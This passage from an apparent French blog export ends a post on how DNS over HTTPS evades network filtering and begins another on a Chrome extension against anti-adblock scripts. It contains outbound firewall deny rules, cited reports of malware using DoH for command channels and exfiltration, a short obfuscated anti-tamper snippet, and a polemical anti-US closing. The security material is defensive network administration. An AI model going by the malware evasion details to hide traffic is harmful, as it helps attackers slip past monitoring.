défini, « for managed devices DNS-over-HTTPS queries will not be sent »31 ; Chrome désactive son propre DoH automatique dès qu\u0026rsquo;il repère une politique d\u0026rsquo;entreprise16. Pointez-le vers votre résolveur, ou mettez-le sur off et laissez DDR porter le chiffrement. Firefox a les réglages correspondants Enabled, ProviderURL et Locked32. Machine administrée, décision administrée, et la ligne que vous pouvez réellement fermer.\nRefusez les solutions de repli à la frontière. Les règles sont courtes, et elles disent toutes la même chose : du DNS, quel qu\u0026rsquo;il soit, vers l\u0026rsquo;extérieur, uniquement depuis votre résolveur.\nRègle Depuis Effet Bloquer le port 53 en sortie Tout sauf votre résolveur Pas de DNS ordinaire vers l\u0026rsquo;extérieur Bloquer le port 853 en sortie Tout sauf votre résolveur Pas de DoT vers un résolveur externe Bloquer HTTPS vers les adresses de résolveurs DoH publics Tout sauf votre résolveur Coupe les fournisseurs DoH connus Pointer l\u0026rsquo;amont de votre résolveur vers un DNS de protection Votre résolveur Domaines de maliciels refusés avant connexion Vous n\u0026rsquo;attraperez pas chaque point d\u0026rsquo;accès DoH par adresse, et vous ne le pouvez pas, car un nouveau n\u0026rsquo;est qu\u0026rsquo;un serveur web et il n\u0026rsquo;y a pas de fin aux serveurs web. Alors mesurez ce que ce blocage coûte désormais. Pour faire à DoH ce que block 53 outbound faisait gratuitement, vous tirez une liste d\u0026rsquo;adresses de serveurs DoH que quelqu\u0026rsquo;un d\u0026rsquo;autre continue de scanner pour vous : les listes de blocage entretenues existent parce que c\u0026rsquo;est la seule voie qui reste, et l\u0026rsquo;une d\u0026rsquo;elles re-résout chaque domaine DoH public connu vers ses adresses IP actuelles toutes les heures, par tâche planifiée, et diffuse les changements33. C\u0026rsquo;est le marché que le contournement a imposé.\nBloquer le DNS externe Avant, sur le port 53 Maintenant, DoH sur 443 La règle une ligne : bloquer 53 en sortie s\u0026rsquo;abonner à une liste de blocage d\u0026rsquo;IP de serveurs DoH Complétude complète dès l\u0026rsquo;enregistrement jamais complète ; de nouveaux points d\u0026rsquo;accès apparaissent sans cesse Entretien aucun re-scannée toutes les heures, tirée et réappliquée Ce qu\u0026rsquo;il faut le pare-feu le pare-feu plus le flux entretenu de quelqu\u0026rsquo;un d\u0026rsquo;autre Un contrôle qui tenait en une ligne fixe est désormais un abonnement à une cible mouvante, à courir après des serveurs web que n\u0026rsquo;importe qui peut monter plus vite qu\u0026rsquo;une liste ne peut les nommer. Le DNS de protection ferme l\u0026rsquo;autre bout : pointez l\u0026rsquo;amont de votre résolveur vers un service filtrant comme le PDNS du NCSC, qui « was built to hamper the use of DNS for malware distribution and operation »34, et les mauvais domaines sont refusés avant que la connexion ne soit établie, pour chaque client qui passe par votre résolveur, ce qui, une fois ces règles en place, est la totalité d\u0026rsquo;entre eux.\nMettez cela face aux cinq lignes de tout à l\u0026rsquo;heure, et chacune a un contrôle qui la ferme. C\u0026rsquo;est le test d\u0026rsquo;un correctif : non pas « avons-nous bloqué DoH », mais « pour chaque chose qui peut choisir un résolveur, qu\u0026rsquo;est-ce qui l\u0026rsquo;empêche de choisir le mauvais ».\nQui choisit le résolveur Ce qui la ferme Système d\u0026rsquo;exploitation DDR le pointe vers votre résolveur ; gardez-le ainsi Navigateur Politique sur les machines administrées ; le canari sur le reste Application / bibliothèque Blocage frontière sur 53, 853 et résolveurs DoH publics Script sur une page web Même blocage frontière ; DNS de protection en amont Maliciel Même blocage frontière, plus le DNS de protection refusant le domaine Rien de tout cela ne désactive le moindre bit de chiffrement. Les clients obtiennent toujours DoH, ils l\u0026rsquo;obtiennent simplement de vous, et ceux qui essaient de l\u0026rsquo;obtenir ailleurs se heurtent à un mur. La confidentialité est intacte et le contrôle est de retour. Ainsi, la seule chose que quiconque a perdue est la liberté de choisir un résolveur que vous n\u0026rsquo;avez jamais approuvé, et cette liberté n\u0026rsquo;a jamais été la sienne sur un réseau dont vous êtes responsable.\nPuis-je demander ce qui a choisi ce résolveur Voici la question à poser à quiconque vous dit que le réseau va très bien tel quel.\nQuand une machine de votre réseau résout un nom, qu\u0026rsquo;est-ce qui a décidé quel résolveur a répondu ? Si la réponse honnête est « ce que le système a reçu », très bien, mais seulement si vous avez fermé les quatre autres lignes de ce tableau, car sinon c\u0026rsquo;est « ce que le système a reçu, sauf si le navigateur, une application, une page web ou quelque chose de plus vilain en a décidé autrement, auquel cas je n\u0026rsquo;en ai aucune idée et aucune trace ». Ce n\u0026rsquo;est pas une configuration DNS. C\u0026rsquo;est un espoir, et l\u0026rsquo;espoir n\u0026rsquo;attrape rien.\nJe ne demande pas qui fait tourner le résolveur. Je demande quoi, sur chaque machine, a le droit de le choisir, et si vous pourriez nommer le résolveur vers lequel chaque résolution est partie hier. Sur un réseau où DoH n\u0026rsquo;est pas administré, vous ne le pouvez pas, et l\u0026rsquo;écart, c\u0026rsquo;est chaque application qui embarque son propre résolveur, chaque page qu\u0026rsquo;un utilisateur ouvre, et chaque maliciel qui a lu la même recherche que je viens de lier. Trois acteurs de menace nommés ont bâti leurs canaux sur cet écart précis, et l\u0026rsquo;un répond à un gouvernement.\nUn protocole qui retire au réseau le choix du résolveur allait forcément être un cadeau pour quiconque le réseau cherchait à surveiller, et prétendre le contraire parce que le marketing disait « privacy » est la façon dont un contrôle qui comptait se retrouve désactivé par défaut et personne ne journalise le jour où c\u0026rsquo;est arrivé.\nChiffrez votre DNS. Faites tourner le résolveur vous-même. Annoncez-le, répondez au canari, fixez la politique, fermez la frontière. Gardez le chiffrement et gardez le choix. Vous pouvez avoir les deux, et si vous gérez des réseaux pour vivre, avoir les deux est le métier.\nLa confidentialité était le mot sur la boîte Alors, hommage à qui de droit. Merci à l\u0026rsquo;ICANN, l\u0026rsquo;organisme américain qui tient la racine et a coécrit ceci de l\u0026rsquo;intérieur, d\u0026rsquo;avoir rejoué le manuel de la tech américaine une fois de plus : prendre un problème déjà résolu, envelopper le correctif dans un mot vertueux, et centraliser le résultat sur une poignée d\u0026rsquo;entreprises américaines qui finissent par tenir le texte en clair.\nEt c\u0026rsquo;est toujours les États-Unis. L\u0026rsquo;organisme qui tient la racine, le résolveur par défaut de deux navigateurs désormais, la régie publicitaire qui fait tourner le plus gros résolveur public, le pays où atterrit le texte en clair : américain, à chaque fois. C\u0026rsquo;est un schéma, pas une série de malchances.\nLa confidentialité était l\u0026rsquo;écran de fumée. Le DNS était chiffré, privé et encore gouvernable sur le port 853 en 2016, et tous ceux qui comptaient le savaient. Ce que l\u0026rsquo;établissement a livré par-dessus, c\u0026rsquo;est un protocole bâti pour aveugler la seule personne responsable du réseau, une course aux armements permanente de listes de blocage re-scannées à l\u0026rsquo;heure, et des décisions de justice qui s\u0026rsquo;arrêtent net au navigateur.\nQue ce soit de l\u0026rsquo;incompétence ou de la cupidité, je vous laisse en décider, quoique le bilan que j\u0026rsquo;ai lié penche d\u0026rsquo;un côté. Dans les deux cas, cela a eu raison du bon sens.\nEt des décisions comme celle-ci sont la raison pour laquelle les appels à retirer la racine à l\u0026rsquo;ICANN reviennent sans cesse, et pour laquelle ils portent : pour que la communauté internationale ait voix au chapitre, au lieu que l\u0026rsquo;institution d\u0026rsquo;un seul pays décide du DNS pour tous les autres et appelle cela de la gérance.\nOn faisait tout cela avec une seule ligne, avant.\nRFC 8484 — DNS Queries over HTTPS (DoH), octobre 2018. L\u0026rsquo;introduction énonce l\u0026rsquo;objectif « allowing web applications to access DNS information via existing browser APIs in a safe way consistent with Cross Origin Resource Sharing (CORS) ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n360 Netlab — An Analysis of Godlua Backdoor, 1er juillet 2019. Note que l\u0026rsquo;échantillon « uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2 » — le premier maliciel largement signalé à détourner DoH.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProofpoint — PsiXBot Now Using Google DNS over HTTPS, 6 septembre 2019. Rapporte le maliciel résolvant des domaines C2 codés en dur via le service DoH de Google, et avertit qu\u0026rsquo;il « should be a warning shot for the cybersecurity community as there are no simple solutions to help identify an infected host or the process of receiving instructions ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKaspersky Securelist — APT trends report Q2 2020. Sur OilRig (APT34) : l\u0026rsquo;outil DNSExfiltrator « allows the threat actor to use the DNS over HTTPS (DoH) protocol [\u0026hellip;] instead of plain text requests to port 53, they would use port 443 in encrypted packets [\u0026hellip;] which allows DoH queries to Google and Cloudflare services ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe Hacker News — ChamelDoH : New Linux Backdoor Utilizing DNS-over-HTTPS Tunneling for Covert CnC, 16 juin 2023, rapportant la découverte de Stairwell (Daniel Mayer). L\u0026rsquo;implant Linux en C++ de ChamelGang est « a tool for communicating via DNS-over-HTTPS (DoH) tunneling », envoyant des requêtes DNS TXT à des serveurs de noms malveillants via des fournisseurs DoH légitimes, si bien que « both detection and prevention become difficult ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCISA — Malware Analysis Report : BRICKSTORM Backdoor, AR25-338a, 4 décembre 2025. « For C2, BRICKSTORM uses multiple layers of encryption (HTTPS, WebSockets, nested Transport Layer Security [TLS]) to hide its communications with the cyber actors\u0026rsquo; C2 server. It also uses DNS-over-HTTPS (DoH) ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco Talos — New Dohdoor malware campaign, 26 février 2026. La porte dérobée, attribuée à l\u0026rsquo;acteur UAT-10027, « securely sends encrypted DNS requests to Cloudflare\u0026rsquo;s DNS server over HTTPS port 443 » pour résoudre son serveur de commande, et vise l\u0026rsquo;éducation et la santé aux États-Unis par hameçonnage.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8484, section 10, Operational Considerations : « Filtering or inspection systems that rely on unsecured transport of DNS will not function in a DNS over HTTPS environment due to the confidentiality and integrity protection provided by TLS. » L\u0026rsquo;effet sur le filtrage réseau est énoncé dans le standard lui-même.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8484, section 9, Security Considerations : un serveur DoH « can give a client invalid data in response to a DNS query », et bien que le standard interdise les réponses de serveurs non configurés, « this prohibition does not guarantee protection against invalid data, but it does reduce the risk. » DoH sécurise le transport, pas l\u0026rsquo;authenticité de l\u0026rsquo;enregistrement ; c\u0026rsquo;est le travail de DNSSEC.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenDNS — un résolveur DNS récursif fondé par David Ulevitch en 2005/2006, offrant du filtrage de sécurité (blocage de l\u0026rsquo;hameçonnage et des maliciels) et du filtrage de contenu au résolveur pour les particuliers et les entreprises ; racheté par Cisco en 2015 et désormais partie de Cisco Umbrella. La sécurité DNS au niveau du résolveur précède DoH de longtemps.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS-CERT / CISA — HTTPS Interception Weakens TLS Security, alerte TA17-075A, 16 mars 2017. Avertit qu\u0026rsquo;intercepter HTTPS en présentant un certificat approuvé localement et en déchiffrant le trafic affaiblit la sécurité, car beaucoup de produits d\u0026rsquo;interception ne vérifient pas correctement les certificats et abaissent les protections de la connexion.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7858 — Specification for DNS over Transport Layer Security (TLS), mai 2016. Le résumé : « This document describes the use of Transport Layer Security (TLS) to provide privacy for DNS. Encryption provided by TLS eliminates opportunities for eavesdropping and on-path tampering with DNS queries in the network. » Coécrit par P. Hoffman (ICANN), qui a aussi coécrit RFC 8484. DoT utilise le port dédié 853.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPaul Hoffman (engineer) — « the author or co-author of over 80 Requests for Comments (RFCs) » et « currently a technologist at ICANN » ; son profil datatracker de l\u0026rsquo;IETF liste le bilan, dont RFC 7858 (DoT), RFC 8484 (DoH) et RFC 8499 (terminologie du DNS).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBert Hubert (PowerDNS) — Centralised DoH is bad for Privacy, in 2019 and beyond, RIPE Labs. Le DNS était « typically provided by the operator of a network » ; le DoH centralisé « by default » est « a net-negative for privacy for everyone », parce que ce tiers « gets a complete log per device of all DNS queries, in a way that can even be tracked across IP addresses ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGoogle — DNS-over-HTTPS (DoH) — JSON API. Google Public DNS, l\u0026rsquo;un des plus gros résolveurs publics, exploite un point d\u0026rsquo;accès DoH (dns.google) aux côtés du propre DoH de Chrome.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChromium Blog — A safer and more private browsing experience with Secure DNS, mai 2020. « If you are an IT administrator, Chrome will disable Secure DNS if it detects a managed environment via the presence of one or more enterprise policies. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTechCrunch — Internet group brands Mozilla \u0026lsquo;internet villain\u0026rsquo; for supporting DNS privacy feature, 5 juillet 2019 (instantané Wayback). La nomination de l\u0026rsquo;ISPA disait que DoH allait « bypass UK filtering obligations and parental controls, undermining internet safety standards in the UK » ; la nomination et la catégorie Internet Villain ont été retirées après le tollé.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWeb blocking in the United Kingdom — la liste d\u0026rsquo;images d\u0026rsquo;abus d\u0026rsquo;enfants de la Internet Watch Foundation et les injonctions au titre de la section 97A du Copyright, Designs and Patents Act 1988 sont mises en œuvre par les FAI ; « The technical measures used to block sites include DNS hijacking, DNS blocking, IP address blocking, and Deep packet inspection. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGouvernement britannique — Online Safety Act : explainer. « The Online Safety Act 2023 [\u0026hellip;] puts a range of new duties on social media companies and search services », avec les « strongest protections [\u0026hellip;] designed for children », dont l\u0026rsquo;obligation d\u0026rsquo;empêcher les enfants d\u0026rsquo;accéder à des contenus nuisibles et inadaptés à leur âge ; appliqué par l\u0026rsquo;Ofcom.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCopyright Act 1968 (Australie), section 115A, « Injunctions relating to online locations outside Australia » — la Cour fédérale peut ordonner à un fournisseur de service de transmission de « take reasonable steps to disable access to the online location », la forme australienne du blocage de sites au niveau du FAI par DNS et IP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEDRi — Portugal: \u0026ldquo;Voluntary\u0026rdquo; agreement against copyright infringements. En vertu d\u0026rsquo;un protocole d\u0026rsquo;accord de 2015, les ayants droit signalent à MAPINET, qui transmet au régulateur IGAC, et « IGAC then contacts Internet Service Providers (ISPs) to restrict access to the websites through \u0026lsquo;Domain Name System (DNS) blocking\u0026rsquo; » sous 15 jours ouvrables, sans ordonnance de tribunal.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Italy Fines Cloudflare €14 Million for Refusing to Filter Pirate Sites on Public 1.1.1.1 DNS. Sous le Piracy Shield italien, l\u0026rsquo;AGCOM (décision 49/25/CONS) a ordonné aux fournisseurs DNS, y compris le résolveur public de Cloudflare, de bloquer ; Cloudflare, qualifiant cela de « unreasonable and disproportionate », a refusé et a été condamné à 14 247 698 €, ce dont il fait appel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — DNS Piracy Blocking Orders : Google, Cloudflare, and OpenDNS Respond Differently, 11 mai 2025. Sous les injonctions de Canal+ sur le streaming sportif en France et en Belgique, les résolveurs publics ont reçu l\u0026rsquo;ordre de bloquer : Cloudflare renvoie un HTTP 451, Google refuse silencieusement la requête, et OpenDNS a « pulled the plug » sur les deux pays plutôt que de s\u0026rsquo;y conformer.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Cloudflare Applauds Court for Rejecting DNS Piracy Blocking Order. Dans Universal Music c. Cloudflare (l\u0026rsquo;affaire DDL-Music), un tribunal de première instance avait ordonné à Cloudflare de bloquer sur son résolveur 1.1.1.1 ; le tribunal régional supérieur de Cologne a refusé d\u0026rsquo;étendre l\u0026rsquo;obligation au résolveur, qui « contributes to the connection of internet domains in a purely passive, automatic and neutral manner ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTorrentFreak — Dutch ISPs Must Block Pirate Bay Proxies and Mirrors Again, Court Rules, 15 octobre 2020. BREIN détient une ordonnance de blocage « dynamique » contre Ziggo, KPN et d\u0026rsquo;autres ; le tribunal traite le blocage DNS comme une mesure « clear and verifiable », et de nouveaux domaines et proxys sont ajoutés à la liste de blocage du FAI sur demande.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nComplete Music Update — OpenDNS pulls plug on France and Portugal after web-blocking injunctions. OpenDNS de Cisco : « Due to a court order in France issued under the French Sport code and a court order in Portugal issued under the Portuguese Copyright Code, the OpenDNS service is not currently available to users in France [\u0026hellip;] and in Portugal. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe American Presidency Project — White House Fact Sheet : Directive to Prevent the Unfair Exploitation of American Innovation, 21 février 2025. Le mémorandum charge le représentant américain au commerce d\u0026rsquo;envisager des droits de douane en réponse aux taxes et réglementations numériques d\u0026rsquo;autres pays, celles de l\u0026rsquo;UE et du Royaume-Uni comprises, présentées comme des gouvernements étrangers s\u0026rsquo;appropriant « America\u0026rsquo;s tax base ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nA\u0026amp;O Shearman — FTC chairman warns major tech companies of censorship in EU DSA and UK Online Safety Act, à propos de lettres du 21 août 2025 : « Compliance with the requirements of non-US laws, such as the requirements in the EU Digital Services Act (DSA) and UK Online Safety Act, may result in companies censoring content », ce dont le régulateur avertit que cela pourrait entrer en conflit avec la loi américaine.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9462 — Discovery of Designated Resolvers (DDR), novembre 2023. Définit comment un client découvre « a resolver\u0026rsquo;s encrypted DNS configuration » et y bascule, en interrogeant _dns.resolver.arpa pour le résolveur désigné du réseau.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Canary domain — use-application-dns.net. « The canary domain only applies to users who have DoH enabled as the default option. It does not apply for users who have made the choice to turn on DoH by themselves. » Une réponse autre que NOERROR avec un enregistrement A/AAAA, tel NXDOMAIN ou SERVFAIL, signale à Firefox de désactiver le DoH applicatif.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGoogle — DnsOverHttpsMode policy. Valeurs off, automatic et secure ; « If this policy is unset, for managed devices DNS-over-HTTPS queries will not be sent. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Policy templates : DNSOverHTTPS. Enabled active ou désactive DoH, ProviderURL fixe le résolveur, Locked « prevents the user from changing DNS over HTTPS preferences », ExcludedDomains et Fallback ajustent le reste.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\ndibdot/DoH-IP-blocklists — une liste entretenue des noms de domaine et des adresses IPv4/IPv6 résolues de serveurs DoH publics, pour le blocage par pare-feu ; le script de résolution « runs automatically every hour via GitHub actions » et met à jour les listes d\u0026rsquo;adresses quand elles changent. jameshas/Public-DoH-Lists en est un second équivalent, généré automatiquement. Que celles-ci doivent exister, et être re-scannées en continu, est bien le sujet.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNCSC — Protective Domain Name Service (PDNS). « PDNS was built to hamper the use of DNS for malware distribution and operation [\u0026hellip;] a recursive resolver which prevents access to domains known to be malicious. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/dns/dns-over-https-walks-past-your-controls/","summary":"DNS over HTTPS chiffre vos requêtes, ce qui est bien, et les envoie à un résolveur choisi par le client sur le port 443, ce qui est le problème. Votre propre résolveur ne voit jamais la requête : la liste de blocage qu\u0026rsquo;elle aurait échouée, le flux de menaces qu\u0026rsquo;elle aurait touché et la ligne de journal qu\u0026rsquo;elle aurait écrite disparaissent tous. Cet article parcourt le mécanisme : pourquoi une connexion web chiffrée parmi des milliers est invisible à la frontière, qui, sur une machine, peut choisir un résolveur que vous n\u0026rsquo;avez jamais choisi (le système, le navigateur, n\u0026rsquo;importe quelle application, n\u0026rsquo;importe quel script sur n\u0026rsquo;importe quelle page web, et le maliciel), et les cas documentés, du JavaScript d\u0026rsquo;une page interrogeant un point d\u0026rsquo;accès DoH public qui autorise les requêtes cross-origin, à Godlua et PsiXBot cachant leur canal de commande dans DoH, jusqu\u0026rsquo;à l\u0026rsquo;APT OilRig exfiltrant des données par-dessus. Puis la thèse que l\u0026rsquo;histoire de la confidentialité est une couverture : DNS over TLS chiffrait déjà le DNS en 2016, sur un port que l\u0026rsquo;opérateur réseau peut encore gouverner, si bien que la seule chose que DoH ajoute par-dessus, c\u0026rsquo;est de vaincre l\u0026rsquo;administrateur, ce qui explique pourquoi les éditeurs de navigateurs qui l\u0026rsquo;ont écrit et livré, et la régie publicitaire qui fait tourner le plus gros résolveur DoH public, sont ceux qui y ont gagné. Puis le correctif, qui n\u0026rsquo;est pas d\u0026rsquo;interdire le chiffrement. Faites tourner votre propre résolveur DoH et DoT, annoncez-le avec Discovery of Designated Resolvers, refusez le port 53, le port 853 et les résolveurs DoH publics connus à la frontière, et répondez au canari de Firefox pour que le navigateur se retire. Gardez le chiffrement. Reprenez le choix du résolveur. Le billet se referme sur les conséquences : le même blocage fondé sur le DNS s\u0026rsquo;applique dans toute l\u0026rsquo;Europe et en Australie, et les tribunaux d\u0026rsquo;Italie, de France, de Belgique et d\u0026rsquo;Allemagne ordonnent désormais aux résolveurs publics eux-mêmes de bloquer, Cloudflare étant condamné à une amende et faisant appel, Google refusant en silence et OpenDNS se coupant pour des pays entiers. Le motif sous-jacent est une conception américaine imposée au monde, et un gouvernement américain qui qualifie les lois des autres pays d\u0026rsquo;extorsion des entreprises américaines et leur ordonne de ne pas s\u0026rsquo;y conformer.","title":"DNS over HTTPS passe tout droit devant vos contrôles"},{"content":"Vous cliquez sur un lien vers un journal local, et le titre se charge, puis l\u0026rsquo;image, puis les trois premiers paragraphes, et vous avez commencé à lire avant que quoi que ce soit d\u0026rsquo;autre ne se passe. Puis la page devient blanche. Ou elle se transforme en un tas de liens sans style, le logo étiré sur toute la largeur de l\u0026rsquo;écran. Ou une boîte glisse vers le haut et vous demande soit d\u0026rsquo;accepter le pistage, soit de payer 2,99 £ par mois, sans troisième bouton.\nL\u0026rsquo;article était sur votre machine. Le serveur de l\u0026rsquo;éditeur l\u0026rsquo;avait déjà envoyé en entier, texte et feuilles de style, et votre navigateur l\u0026rsquo;avait déjà affiché. Ce qui l\u0026rsquo;a repris, c\u0026rsquo;est du code que l\u0026rsquo;éditeur a choisi d\u0026rsquo;exécuter ensuite, sur votre ordinateur, acheté à un fournisseur commercial dont le produit consiste à reprendre ce qui vient d\u0026rsquo;être livré.\nChez moi, je fais tourner un Pi-hole1, qui bloque les hôtes publicitaires et de pistage pour tous les appareils du réseau. Sur une liste croissante de sites d\u0026rsquo;actualité britanniques, cela suffisait pour que la page soit détruite. Alors le 22 septembre 2026, j\u0026rsquo;ai construit une extension Chrome pour l\u0026rsquo;empêcher, appelée Keep The Page. Le code est sur GitHub à damo2929/browserplugin, sous licence MIT, et voici ce qu\u0026rsquo;elle fait, ce que j\u0026rsquo;ai trouvé dans ces pages en la construisant, et les correctifs qui ont empiré les choses avant que le bon n\u0026rsquo;arrive.\nCe n\u0026rsquo;est pas un contournement de paywall. Si le serveur n\u0026rsquo;a jamais envoyé l\u0026rsquo;article, rien ici ne le fera apparaître. Le Times est resté fermé, et c\u0026rsquo;est normal. Ce qu\u0026rsquo;elle garde, c\u0026rsquo;est ce qu\u0026rsquo;on vous avait déjà envoyé.\nL\u0026rsquo;article arrive, puis il disparaît Vus de l\u0026rsquo;extérieur, tous fonctionnent de la même façon. Le HTML arrive complet, puis un script, généralement chargé depuis un hôte appartenant à un fournisseur plutôt qu\u0026rsquo;au journal, décide que vous ne méritez pas de le voir, et le retire.\nCe qu\u0026rsquo;il retire, et comment, dépend du fournisseur que l\u0026rsquo;éditeur a acheté. Voici les quatre que j\u0026rsquo;ai rencontrés, chacun relevé sur une vraie page pendant la construction :\nÉditeur Ce qui arrive Ce que la page se fait ensuite à elle-même Newsquest (269 titres)2 l\u0026rsquo;article complet construit un mur, exécute une charge eval, ouvre une boîte de dialogue confirm() notebookcheck.net l\u0026rsquo;article complet supprime \u0026lt;body\u0026gt; au bout d\u0026rsquo;environ 7 secondes, puis des dialogues, puis une boucle de rechargement National World (The Scotsman, Yorkshire Post)3 l\u0026rsquo;article plus environ 68KB de son propre CSS supprime chaque \u0026lt;link\u0026gt; et \u0026lt;style\u0026gt; toutes les 100ms, pour toujours Reach plc (Mirror, Daily Record, Manchester Evening News, Liverpool Echo et d\u0026rsquo;autres)4 l\u0026rsquo;article complet le recouvre de « acceptez le pistage ou payez 2,99 £/mois » Le chiffre de 269 ne vient pas d\u0026rsquo;un communiqué de presse, qui parle de « plus de 200 marques ». C\u0026rsquo;est le nombre de domaines sur les propres certificats TLS de Newsquest, la liste dont l\u0026rsquo;extension avait besoin pour savoir où s\u0026rsquo;exécuter.\nLe cas National World est celui qui devrait le plus inquiéter les éditeurs, parce qu\u0026rsquo;il casse la page pour des raisons qui n\u0026rsquo;ont rien à voir avec la publicité. Le décapeur de feuilles de style a un complice qui récupère le CSS depuis l\u0026rsquo;hôte du fournisseur. Mon Pi-hole bloque cet hôte. Donc le décapage a tourné, la restauration n\u0026rsquo;est jamais venue, et la mise en page du journal lui-même est restée dépendante, en permanence, de la joignabilité d\u0026rsquo;un fournisseur publicitaire. Ce n\u0026rsquo;est pas un mur. C\u0026rsquo;est un éditeur qui confie l\u0026rsquo;apparence de son propre site à un tiers sans s\u0026rsquo;en rendre compte.\nPuis-je demander pourquoi la feuille de style d\u0026rsquo;un journal doit attendre le serveur d\u0026rsquo;une régie publicitaire avant d\u0026rsquo;avoir le droit de rester sur la page ? Il n\u0026rsquo;y a aucune raison qui serve le lecteur. Aucune.\nPourquoi j\u0026rsquo;appelle cela un malware J\u0026rsquo;emploie le mot exprès, pour décrire ce que fait le code, et non comme une conclusion juridique sur qui que ce soit. Les charges anti-adblock répondent au sens ordinaire sur quatre points, et chacun a été observé directement :\nCritère Ce que j\u0026rsquo;ai vu S\u0026rsquo;exécute sans consentement, contre votre intérêt personne ne l\u0026rsquo;a demandé, et son rôle est de vous retirer un contenu que vous avez déjà Détruit des données déjà livrées l\u0026rsquo;article et son CSS arrivent intacts, puis du code dans la page les supprime Obscurci pour résister à la lecture tables de chaînes permutées comme o[293 * (r + 450) % e], exécutées via eval Échappe au blocage et punit l\u0026rsquo;interférence CNAME cloaking pour esquiver les listes de blocage DNS, contrôles anti-altération qui escaladent vers un dialogue ou une boucle de rechargement L\u0026rsquo;obscurcissement n\u0026rsquo;est pas de la minification. Le code minifié est petit. Ici, le code est agencé pour qu\u0026rsquo;on ne puisse pas y trouver avec grep ce qu\u0026rsquo;il fait, puis la charge passe par eval pour que rien sur le disque ne corresponde à ce qui s\u0026rsquo;exécute.\nLe cloaking est une technique connue, avec sa propre littérature de recherche5. Le chargeur est récupéré depuis ce qui ressemble à un sous-domaine du journal, et ce nom pointe vers le fournisseur :\na02342.\u0026lt;publisher-domain\u0026gt; -\u0026gt; cdn-52-x.privacy-mgmt.com (Sourcepoint) fb.html-load.com -\u0026gt; adshield-fallback-dev-wskxz.b-cdn.net Le sous-domaine est aléatoire pour chaque titre. Une liste de blocage qui nomme des hôtes ne peut donc pas suivre, et c\u0026rsquo;est tout l\u0026rsquo;intérêt.\nEt le code traite toute interférence comme une preuve de culpabilité. Les messages d\u0026rsquo;erreur décodés dans la charge que les mainteneurs de listes de filtres attribuent à Ad-Shield6 sont littéralement Vital API blocked et Vital API blocked (eval). Le chargeur de Sourcepoint écrit un attribut, le relit aussitôt et lève une erreur si la valeur a changé :\nz.call(O,\u0026#39;src\u0026#39;,G), O[x](\u0026#39;src\u0026#39;) !== G \u0026amp;\u0026amp; throw E … catch (W) { try { await l(W) } catch (x) { o(W) } } // o() raises the dialog Sourcepoint a vendu cela ouvertement. Sa propre documentation disait « on average about 30% of messaged users will turn off their adblockers »7. Je ne décris donc pas un script voyou glissé par quelqu\u0026rsquo;un. C\u0026rsquo;est un produit, acheté et déployé délibérément par l\u0026rsquo;éditeur.\nLes murs consent-or-pay sont une autre catégorie, et je ne les appelle pas malware. Ils ne détruisent pas ce qui a été livré et ne se cachent pas des listes de blocage. Ils contraignent d\u0026rsquo;une autre manière, et c\u0026rsquo;est l\u0026rsquo;objet de la section suivante.\nAccepter 1 467 partenaires ou payer 2,99 £ Le mur sur les titres de Reach est Quantcast Choice, désormais exploité par InMobi8 et servi depuis cmp.inmobi.com. Il offre deux choix. Accepter, ou payer 2,99 £ par mois. Il n\u0026rsquo;y a pas de « non » gratuit.\nAccepter partage vos données avec 1 467 partenaires listés et écrit un cookie euconsent-v2 qui dure 13 mois. Personne ne lit une liste de 1 467 entreprises, personne ne pourrait peser ce que chacune ferait des données même en la lisant, et le chiffre à lui seul vous dit quel genre de consentement on vous demande.\nLe RGPD britannique dit que le consentement doit être librement donné, et que pour en juger on regarde si le service a été subordonné à un consentement à un traitement dont il n\u0026rsquo;a pas besoin9. L\u0026rsquo;ICO a publié des lignes directrices selon lesquelles le consent or pay peut être licite10, lignes directrices qu\u0026rsquo;il dit désormais en cours de révision, et le 